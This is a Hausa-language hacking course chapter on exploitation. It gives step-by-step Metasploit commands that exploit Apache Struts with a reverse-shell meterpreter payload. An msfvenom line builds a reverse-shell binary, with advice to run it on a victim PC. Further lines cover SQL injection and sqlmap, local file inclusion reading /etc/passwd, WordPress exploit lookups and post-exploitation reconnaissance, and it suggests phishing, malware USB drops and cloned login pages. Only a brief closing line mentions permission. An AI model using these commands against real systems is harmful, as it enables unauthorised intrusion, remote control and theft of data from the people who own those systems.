FREE HACKING COURSE CHAPTER 8: EXPLOITATION – YADDA AKE KAI HARI TA HANYAR TA HANYA MAIRAUNI

Bismillah… yanzu mun shiga babin da yawancin hackers ke jira — kai farmaki da samun damar shiga tsarin (system). Amma mu tuna: wannan domin ilimi da tsaro ne kawai.

8.1. Menene Exploitation?

Exploitation na nufin amfani da wani rauni (vulnerability) a system domin:

Samun access

Samun iko

Shigar da malware

Sauya bayanai

Kawo tangarda

Misali:

Idan MySQL yana da default password (root:root), za ka iya shiga database ɗin target. Wannan shine exploitation.

8.2. Nau’o’in Exploits

Type Description Misali

Remote Code Execution (RCE) Gudanar da umarni daga nesa CVE-2017-5638 (Apache Struts)

Privilege Escalation Canza daga user zuwa root DirtyCow (Linux)

SQL Injection Samun access ta hanyar query ' OR '1'='1

File Inclusion Shigar da file daga waje LFI/RFI

Cross-Site Scripting Shigar da code a web <script>alert(1)</script>

8.3. Manhajar Metasploit

🔧 Abin Da Zai Amfane Ka Da Shi:

Ya ƙunshi ɗaruruwan exploits

Za ka iya zabar target, payload, da exploit

GUI da CLI na aiki

⚙️ Amfani da Metasploit:

msfconsole

Misali: RCE Exploit akan Apache

use exploit/multi/http/apache_struts2_content_type_ognl

set RHOSTS 192.168.1.10

set RPORT 8080

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.1.5

run

Idan Ya Yi Nasara:

Za ka samu meterpreter shell

Za ka iya gudanar da commands: sysinfo, shell, download, webcam_snap, da sauransu.

8.4. Amfani da Manual Exploits

Example: SQL Injection (Manual)

http://target.com/index.php?id=1' OR '1'='1

Duba Response:

Idan ya dawo da data: vulnerability tana nan

Zaka ci gaba da amfani da sqlmap

sqlmap -u http://target.com/index.php?id=1 --dbs

8.5. Social Engineering Exploits (Human Exploits)

Wani lokaci, kai farmaki ba yana nufin technical skills kawai ba.

Misalai:

Phishing: Tura fake link

USB Drop: Barin USB mai malware a ofis

Fake Login Pages: Amfani da clone na Facebook

> “Mutane su ne sassan da suka fi rauni a cikin tsaro.” – Kevin Mitnick

8.6. Shellcode da Payloads

Menene Payload?

Shell access

Reverse shell

Add user

Download malware

Common Payloads:

Payload Description

windows/meterpreter/reverse_tcp Shell daga Windows zuwa attacker

linux/x86/shell_reverse_tcp Shell daga Linux

cmd/unix/reverse_netcat Shell ta netcat

Amfani da msfvenom:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf

Sanya shi a victim PC, ka run, ka jira shell.

8.7. Web Exploitation Example: Local File Inclusion

http://target.com/page=../../../etc/passwd

Idan target bai yi sanitization ba, zaka ga:

root:x:0:0:root:/root:/bin/bash

Wannan yana nufin system file disclosure.

8.8. WordPress Exploit (WPScan + Manual)

Gano Plugin da Exploit:

wpscan --url http://victim.com --enumerate vp

Za ka iya duba plugin version kuma bincika a exploit-db:

searchsploit plugin_name

Idan kana da shell exploit, za ka iya amfani da shi ta:

python exploit.py -t http://victim.com

8.9. Lokacin da Ka Samu Access – Menene Next?

whoami – Gano matsayin user

uname -a – Fahimtar OS

cat /etc/passwd – Duba users

netstat -tulnp – Gano open ports

history – Ganin abubuwan da aka yi kafin kai

Hacking ba wai shigar system kawai ba ne – fahimtar menene a ciki da kuma tsaron da aka ware yana da matukar muhimmanci.

8.10. Kammalawa

A wannan babi, mun koya yadda za a:

Yi exploit ta amfani da tools kamar Metasploit

Aiwatar da manual SQL Injection da LFI

Amfani da payloads don samun reverse shell

Fara shiga tsarin wani system da gaske

✅ Nasihu Na Tsaro

Yin hacking ba laifi ba ne idan kana da izini ko horo (lab environment).

Kada ka gwada wannan akan network na wasu ba tare da yardarsu ba.

Nuhu Saad Kumurya